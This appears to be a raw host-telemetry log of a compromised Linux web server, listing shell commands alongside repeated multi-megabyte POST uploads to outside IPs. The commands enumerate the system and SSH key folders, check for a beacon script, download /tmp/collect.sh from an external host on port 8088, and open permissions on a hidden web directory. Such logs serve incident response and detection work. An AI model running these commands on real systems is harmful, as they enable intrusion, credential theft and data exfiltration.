| 2026-10-31 00:43:21 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | pgrep -f /tmp/beacon.sh |
| 2026-10-31 01:01:32 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | id |
| 2026-10-31 01:01:32 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | uname -a |
| 2026-10-31 01:01:42 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | cat /etc/os-release |
| 2026-10-31 01:02:14 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | getent passwd www-data |
| 2026-10-31 01:02:14 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | ls -la /root/.ssh /home |
| 2026-10-31 01:02:14 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | ls -la /var/www/.ssh |
| 2026-10-31 01:02:14 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | cat /proc/net/tcp |
| 2026-10-31 01:02:14 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | ls -la /var/www/html |
| 2026-10-31 01:02:26 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | ls -ld /var/www |
| 2026-10-31 01:02:43 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | id |
| 2026-10-31 01:02:43 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | curl -sS -m 8 -o /dev/null -w eg=%{http_code} http://206.245.153.56:8088/ |
| 2026-10-31 01:02:43 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | dpkg -l |
| 2026-10-31 01:02:43 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | ls -ld /var/www |
| 2026-10-31 01:03:02 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | curl -sS -m 8 -o /dev/null -w A=%{http_code} http://206.245.153.56:8088/tools/collect.sh |
| 2026-10-31 01:03:11 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | id -u |
| 2026-10-31 01:03:11 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | curl -sS -m 10 -o /dev/null -w B=%{http_code} http://deb.debian.org/debian/README |
| 2026-10-31 01:03:11 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | curl -sS -m 8 -o /dev/null -w A=%{http_code} http://206.245.153.56:8088/tools/collect.sh |
| 2026-10-31 01:03:21 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | curl -sS -m 8 -o /dev/null -w A=%{http_code} http://206.245.153.56:8088/tools/collect.sh |
| 2026-10-31 01:03:43 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | ls -l /bin/bash /bin/sh |
| 2026-10-31 01:03:56 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | sh /dev/null |
| 2026-10-31 01:03:56 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | ls -la /tmp |
| 2026-10-31 01:03:56 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | curl -sS -o /tmp/collect.sh http://206.245.153.56:8088/tools/collect.sh |
| 2026-10-31 01:04:47 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | chmod 755 /var/www/html |
| 2026-10-31 01:04:53 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | chmod 755 /var/www/html/.p /var/www/html/.p/ak |
| 2026-10-31 01:04:53 | 23.234.81.67, 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | ls -la /var/www/html/.p/ak |
